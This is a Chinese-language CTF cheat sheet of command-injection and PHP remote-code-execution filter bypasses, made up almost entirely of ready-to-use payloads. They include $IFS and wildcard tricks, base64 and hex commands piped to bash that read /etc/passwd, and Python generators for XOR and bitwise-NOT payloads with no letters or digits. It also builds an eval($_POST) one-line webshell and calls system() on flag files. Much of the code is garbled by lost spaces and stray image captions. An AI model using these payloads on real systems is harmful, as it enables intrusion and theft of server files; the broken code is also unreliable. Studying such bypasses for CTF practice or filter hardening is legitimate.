绕过空格过滤的方法

\${IFS}\$9

{IFS}

\$IFS

\${IFS}

\$IFS\$1//\$1改成\$加其他数字貌似都行

IFS

\<

\<\>

{cat,flag.php}//用逗号实现了空格功能,需要用{}括起来

%20(space)

%09(tab)

X=\$'cat\\x09./flag.php';\$X(\\x09表示tab,也可以用\\x20)

禁用cat的方法

ps:有时会禁用cat:

解决方法是使用tac反向输出命令:

linux命令中可以加\\,所以甚至可以ca\\t/fl\\ag

内联执行绕过

?ip=127.0.0.1;cat\$IFS\$9\`ls\`

\$IFS在Linux下表示为空格

\$9是当前系统shell进程第九个参数持有者,始终为空字符串,\$后可以接任意数字

这里\$IFS\$9或\$IFS垂直,后面加个\$与{}类似,起截断作用

变量拼接

?ip=127.0.0.1;a=g;cat\$IFS\$1fla\$a.php

a=c;b=a;c=t;

\$a\$b\$c/etc/passwd

Base64编码

?ip=127.0.0.1;echo\$IFS\$1Y2F0IGZsYWcucGhw\|base64\$IFS\$1-d\|sh

echo'cat'\|base64

Y2F0wqAK

\`echo'Y2F0wqAK'\|base64-d\`/etc/passwd

echo'Y2F0IC9ldGMvcGFzc3dk'\|base64-d\|bash//cat/etc/passwd

进制绕过

\$(printf"\\154\\163") \#八进制的ls命令

\$(printf "\\x63\\x61\\x74\\x20\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64")

\#十六进制的cat /flag

这里可以转换为不用到括号和printf的形式,但是只能执行文件而不能执行命令。例如执行/getflag文件

\$'\\x2f\\x67\\x65\\x74\\x66\\x6c\\x61\\x67'

再转为八进制可以完全不用到字母,只剩下数字

\$'57\\147\\145\\164\\146\\154\\141\\147'

利用hex编码(十六进制)绕过

echo"636174202F6574632F706173737764"\|xxd-r-p\|bash//hex编码后的0x不需要输入。

利用拼接绕过

(sy.(st).em)(whoami);//

c''a''t/etc/passwd//单引

c""a""t/etc/passwd//双引

c\`\`a\`\`t/etc/passwd/反单引

c\\a\\t/etc/passwd//反斜线

\$\*和\$@,\$x(x代表1-9),\${x}(x\>=10):比如ca\${21}ta.txt表示cata.txt在没有传入参数的情况下,这些特殊字符默认为空,如下:

wh\$1oami

who\$@ami

whoa\$\*mi

666\`whoami\`666//bash:666root666:commandnotfound

666\`\\whoami\`666//bash:666root666:commandnotfound

//命令执行后的结果在2个666中间

插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/\*A10ng_\*/(whoami);

system/\*A10ng_\*/(wh./\*A10ng_\*/(oa)/\*caixukun\*/.mi);

(sy./\*A10ng_\*/(st)/\*A10ng_\*/.em)/\*A10ng_\*/(wh./\*A10ng_\*/(oa)/\*A10ng_\*/.mi);

过滤了斜杠‘/’

可利用';'拼接命令绕过

cd..;cd..;cd..;cd..;cdetc;catpasswd

通配符绕过

???/e??/?a????

cat/e\*/pa\*

/???/?a??64 /??a? (/bin/base64 /flag)

?\>\<?=\`/???/???%20/???/???/????/\*\`?\>

php使用短链接含义如下:

\<?php echo \`/bin/cat /var/www/html/index.php\`?\>

?\>\<?=\`/???/??? /????\`?\>

php使用短链接含义如下:

\<?php echo \`/bin/cat /flag\`?\>

more /[e-h]l[0-b][e-h]

sort /[!q]l[!q][!q]

glob通配符

catf[a-z]ag

catt{a,b,c,d,e,f}st

异或绕过(无数字字母)

*import*re

*import*requests

*import*urllib

*from*sys*import*\*

*import*os

a=[]

ans1=""

ans2=""

*for*i*in*range(0,256):*\#设置i的范围*

c=chr(i)

*\#将i转换成ascii对应的字符,并赋值给c*

tmp=re.match(r'[0-9]\|[a-z]\|\\\^\|\\+\|\\\~\|\\\$\|\\[\|\\]\|\\{\|\\}\|\\&\|\\-',c,re.I)

*\#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符*

*if*(tmp):

*continue*

*\#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可*

*else*:

a.append(i)

*\#在数组中增加i,这些就是未被系统过滤掉的字符*

*\#eval("echo(\$c);");*

mya=input("输入函数名例如system:")*\#函数名这里修改!*

myb=input("输入函数例如ls:")*\#参数*

defmyfun(*k*,*my*):*\#自定义函数*

globalans1*\#引用全局变量ans1,使得在局部对其进行更改时不会报错*

globalans2*\#引用全局变量ans2,使得在局部对其进行更改时不会报错*

*for*i*in*range(0,len(a)):*\#设置循环范围为(0,a)注:a为未被过滤的字符数量*

*for*j*in*range(i,len(a)):*\#在上个循环的条件下设置j的范围*

*if*(a[i]\^a[j]==ord(*my*[*k*])):

ans1+=chr(a[i])*\#ans1=ans1+chr(a[i])*

ans2+=chr(a[j])*\#ans2=ans2+chr(a[j])*

*return*;*\#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符*

*for*x*in*range(0,len(mya)):*\#设置k的范围*

myfun(x,mya)*\#引用自定义的函数*

data1="('"+urllib.request.quote(ans1)+"'\^'"+urllib.request.quote(ans2)+"')"*\#data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值*

ans1=""*\#对ans1进行重新赋值*

ans2=""*\#对ans2进行重新赋值*

*for*k*in*range(0,len(myb)):*\#设置k的范围为(0,len(myb))*

myfun(k,myb)*\#再次引用自定义函数*

data2="(\\""+urllib.request.quote(ans1)+"\\"\^\\""+urllib.request.quote(ans2)+"\\")"

print('payload:'+data1+data2+';')

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成


Cat flag

文本 描述已自动生成


('%0C%05%0C%08%05%0D'\^'%7F%7C%7F%7C%60%60')("%03%01%08%00%06%0C%01%07"\^"%60%60%7C%20%60%60%60%60");

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

构造assert(无数字字母)

\$_=\~(%9E%8C%8C%9A%8D%8B);//这里利用取反符号把它取回来,\$_=assert

\$__=\~(%A0%AF%B0%AC%AB);//\$__=_POST

\$___=\$\$__;//\$___=\$_POST

\$_(\$___[_]);//assert(\$_POST[_]);

放到一排就是:

\$_=\~(%9E%8C%8C%9A%8D%8B);\$__=\~(%A0%AF%B0%AC%AB);\$___=\$\$__;\$_(\$___[_]);

然后data写_=phpinfo()

图形用户界面, 文本, 电子邮件 描述已自动生成

无参数session rce(php<7

图片包含 文本 描述已自动生成

简单解释一下这串代码。这串代码就是检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空。如果替换后的字符串只剩下;,那么我们传进去的exp就会被eval执行。比如我们传入一个phpinfo();,那么就会执行phpinfo()

图形用户界面, 文本 描述已自动生成

但是这样只能执行phpinfo,无法进行ls或者其他命令,这时候利用sessionrce

?code=print_r(session_id(session_start()));

可以返回PHPSESSID的值

图形用户界面, 文本, 应用程序 描述已自动生成

?code=show_source(session_id(session_start()));

抓包修改PHPSESSID的值

可以用show_source()函数然后将PHPSESSID的值改为./flag(用show_source()函数读取flag文件的源代码内容)

利用eval()函数

?code=eval(hex2bin(session_id(session_start())));

phpinfo();的十六进制为706870696e666f28293b

图形用户界面, 文本, 应用程序 描述已自动生成

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

无参数全局变量RCE

?code=eval(end(pos(get_defined_vars())));&xxx=system('ls');

xxx可以是任何字符

无参数scandir读取

scandir()只能进行文件读取

函数很多部分函数如:

localeconv()——返回一个包含本地数字及货币格式信息的数组。

scandir()————列出指定路径中的文件和目录(PHP5,PHP7,PHP8)

getcwd()————取得当前工作目录(PHP4,PHP5,PHP7,PHP8)

current()————返回数组中的当前值(PHP4,PHP5,PHP7,PHP8)

array_reverse()–返回单元顺序相反的数组(PHP4,PHP5,PHP7,PHP8)

array_flip()———交换(将键和值换位)数组中的键和值(PHP4,PHP5,PHP7,PHP8)

next()—————–将数组中的内部指针向前移动(PHP4,PHP5,PHP7,PHP8)

array_rand———从数组中随机取出一个或多个随机键

chdir()—————系统调用函数(同cd),用于改变当前工作目录

strrev()————–用于反转给定的字符串

crypt()—————用来来加密,目前Linux平台上加密的方法大致有MD5,DES,3DES

hebrevc()———–把希伯来文本从右至左的流转换为左至右的流。

查看当前目录文件名

?code=print_r(scandir(current(localeconv())));

查看上级目录文件

?code=print_r(scandir(next(scandir(getcwd()))));

查看根目录名(随机)

?code=print_r(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

查看根目录文件内容(随机)

?code=print_r(arry_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array()))))))))))); //随机出现文件

?code=show_source(arry_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array()))))))))))); //读取随机出现的文件 具有随机性 可以借用burpsuite爆破

?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

取反绕过(无数字字母)

num_strings = int(input("请输入要拼接的字符串个数,比如phpinfo就1个,readfile index.php或者readfile /flag就2个:

"))

results = []

*for* i *in* range(1, num_strings + 1):

user_input = input(f"请输入第{i}个字符串: ")

byte_str = user_input.encode('utf-8')

result_str = '(\~' + '%' + '%'.join(['%02X' % (255 - byte) *for* byte *in* byte_str]) + ')'

*\# 判断用户输入是否为phpinfo,如果是则加上括号*

*if* user_input == "phpinfo":

result_str += '()'

results.append(result_str)

final_result = ''.join(results)

print(final_result+';')

文本 描述已自动生成

文本 描述已自动生成

(\~%8D%9A%9E%9B%99%96%93%9A)(\~%99%93%9E%98);

图形用户界面, 文本, 应用程序 描述已自动生成

readfile /flag

(\~%8D%9A%9E%9B%99%96%93%9A)(\~%D0%99%93%9E%98);

取反、异或构造assert木马(无数字字母)

num_strings = int(input("请输入要拼接的字符串个数,比如phpinfo就1个,readfile index.php或者readfile /flag就2个: "))

results = []

*for* i *in* range(1, num_strings + 1):

user_input = input(f"请输入第{i}个字符串: ")

byte_str = user_input.encode('utf-8')

result_str = '(\~' + '%' + '%'.join(['%02X' % (255 - byte) *for* byte *in* byte_str]) + ')'

*\# 判断用户输入是否为phpinfo,如果是则加上括号*

*if* user_input == "phpinfo":

result_str += '()'

results.append(result_str)

final_result = ''.join(results)

print(final_result+';')

文本 描述已自动生成

?code=(\~%9E%8C%8C%9A%8D%8B)(\~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

文本 描述已自动生成

('%01%0C%0C%05%0D%08'\^'%60%7F%7F%60%7F%7C')("%00%05%09%01%0C%00%01%00%0C%0F%0C%08%04%03%0D%04%01%00%00"\^"%28%60%7F%60%60%28%25_%5C%40_%5C_%60%60%60%5C%29%29");

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

post参数自传

code=echo \`\$_POST[1]\`;&1=cat /f\* 

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

自增绕过

ctf_show=\$_=[].'';\$_=\$_[''=='\$'];\$____='_';\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$__=\$_;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$__++;\$____.=\$__;\$_=\$____;\$\$_[__](\$\$_[_]);&__=system&_=cat /f1agaaa

url编码后

ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

另一个比较短的payload:

ctf_show=\$%ff=(0/0);\$%ff.=_;\$%ff=\$%ff[0];\$%ff%2b%2b;\$%fd=\$%ff%2b%2b;\$%fe=\$%ff%2b%2b;\$%ff%2b%2b;\$%ff%2b%2b;\$%fc=\$%ff%2b%2b;\$%fb=\$%ff;\$_=_;\$_.=\$%fe.\$%fd.\$%fc.\$%fb;\$\$_[0](\$\$_[1]);&0=system&1=cat /f1agaaa

另一个更短的payload:

ctf_show=\$%ff=(_/_._)[0];\$%fe=%2b%2b\$%ff;\$%fe=%2b%2b\$%ff.\$%fe;\$%ff%2b%2b;\$%ff%2b%2b;\$%fe.=%2b%2b\$%ff;\$%fe.=%2b%2b\$%ff;\$_=_.\$%fe;\$\$_[0](\$\$_[_]);&0=system&_=cat /f1agaaa

另一个最短的payload:

ctf_show=\$%ff=_(%ff/%ff)[%ff];\$_=%2b%2b\$%ff;\$_=_.%2b%2b\$%ff.\$_;\$%ff%2b%2b;\$%ff%2b%2b;\$_.=%2b%2b\$%ff.%2b%2b\$%ff;\$\$_[_](\$\$_[%ff]);&_=system&%ff=cat /f1agaaa

利用~()$构造八进制payload

*\#最终payload*

*\# \\ 1 4 3 \\ 1 4 1 \\ 1 6 4 \\ 4 0 \\ 5 7 \\ 1 4 6 \\ 1 5 4 \\ 1 4 1 \\ 1 4 7 cat /flag*

a = r"\\ 1 4 3 \\ 1 4 1 \\ 1 6 4 \\ 4 0 \\ 5 7 \\ 1 4 6 \\ 1 5 4 \\ 1 4 1 \\ 1 4 7"

b = a.split(' ')

str = ""

*for* i *in* b:

*if* i != "\\\\":

str += "\$((\~\$((" + "\$((\~\$(())))" \* (int(i)+ 1) + "))))"

*else*:

str += "\\\\\\\\"

print("\$0\<\<\<\$0\\\\\<\\\\\<\\\\\<\$\\\\'"+str+"\\\\'")

放到kali里才能运行

\$0\<\<\<\$0\\\<\\\<\\\<\$\\'\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\'

另一个没有\#的脚本

*\#最终payload*

*\# \\ 1 4 3 \\ 1 4 1 \\ 1 6 4 \\ 4 0 \\ 5 7 \\ 1 4 6 \\ 1 5 4 \\ 1 4 1 \\ 1 4 7 cat /flag*

a = r"\\ 1 4 3 \\ 1 4 1 \\ 1 6 4 \\ 4 0 \\ 5 7 \\ 1 4 6 \\ 1 5 4 \\ 1 4 1 \\ 1 4 7"

b = a.split(' ')

str = ""

*for* i *in* b:

*if* i != "\\\\":

str += "\$((\~\$((" + "\$((\~\$(())))" \* (int(i)+ 1) + "))))"

*else*:

str += "\\\\\\\\"

print("__=\$(())%26%26\${!__}\<\<\<\${!__}\\\\\<\\\\\<\\\\\<\$\\\\'"+str+"\\\\'")

payload:

\__=\$(())%26%26\${!__}\<\<\<\${!__}\\\<\\\<\\\<\$\\'\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\\\\\$((\~\$((\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\$((\~\$((\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))\$((\~\$(())))))))\\'

利用数学函数绕过

c=\$pi=base_convert(37907361743,10,36)(dechex(1598506324));(\$\$pi){pi}((\$\$pi){abs})&pi=system&abs=cat /flag

c=\$pi=(mt_rand\^(2).(3)).(tan\^(1).(5));\$pi=\$\$pi;\$pi{1}(\$pi{2})&1=system&2=cat%20/flag

嵌套php函数、eval函数

\#嵌套php函数

system("php -r system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(42)); ");

这里的方法为system

函数为system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(42));

或者show_source(chr(47).chr(102).chr(49).chr(97).chr(103));

\#嵌套eval函数写一句话木马

eval(urldecode('ev%61%6c(\$_POST[1])'));

这里方法为eval

函数为urldecode('ev%61%6c(\$_POST[1])')

getallheaders()

payload:

system(next(getallheaders()));

图形用户界面, 应用程序 描述已自动生成

其他:

catfl\*用\*匹配任意

catfla\*用\*匹配任意

ca\\tfla\\g.php反斜线绕过

catfl''ag.php两个单引号绕过

echo"Y2F0IGZsYWcucGhw"\|base64-d\|bash

//base64编码绕过(引号可以去掉)\|(管道符)会把前一个命令的输出作为后一个命令的参数

echo"63617420666c61672e706870"\|xxd-r-p\|bash

//hex编码绕过(引号可以去掉)

echo"63617420666c61672e706870"\|xxd-r-p\|sh

//sh的效果和bash一样

catfl[a]g.php用[]匹配

a=fl;b=ag;cat\$a\$b变量替换

cpfla{g.php,G}把flag.php复制为flaG

ca\${21}ta.txt利用空变量使用\$\*和\$@,\$x(x代表1-9),\${x}(x\>=10)(小于10也是可以的)因为在没有传参的情况下,上面的特殊变量都是为空的

CTF题目中积累的:

1、通配符绕过:

?\>\<?=\`/???/???%20/???/???/????/\*\`?\>

含义如下:

\<?phpecho\`/bin/cat/var/www/html/index.php\`?\>

?\>\<?=\`/???/???/????\`?\>

含义如下:

\<?phpecho\`/bin/cat/flag\`?\>

2、取反绕过:

?code=(\~%8D%9A%9E%9B%99%96%93%9A)(\~%99%93%9E%98%D1%8F%97%8F)

含义如下:

readfile flag.php

code是参数,具体看题目

3、变量动态调用函数+数学函数替换

?c=\$pi=base_convert(37907361743,10,36)(dechex(1598506324));(\$\$pi){pi}((\$\$pi){abs})&pi=system&abs=cat/flag

?c=\$pi=(mt_rand\^(2).(3)).(tan\^(1).(5));\$pi=\$\$pi;\$pi{1}(\$pi{2})&1=system&2=cat%20/flag

c是参数,具体看题目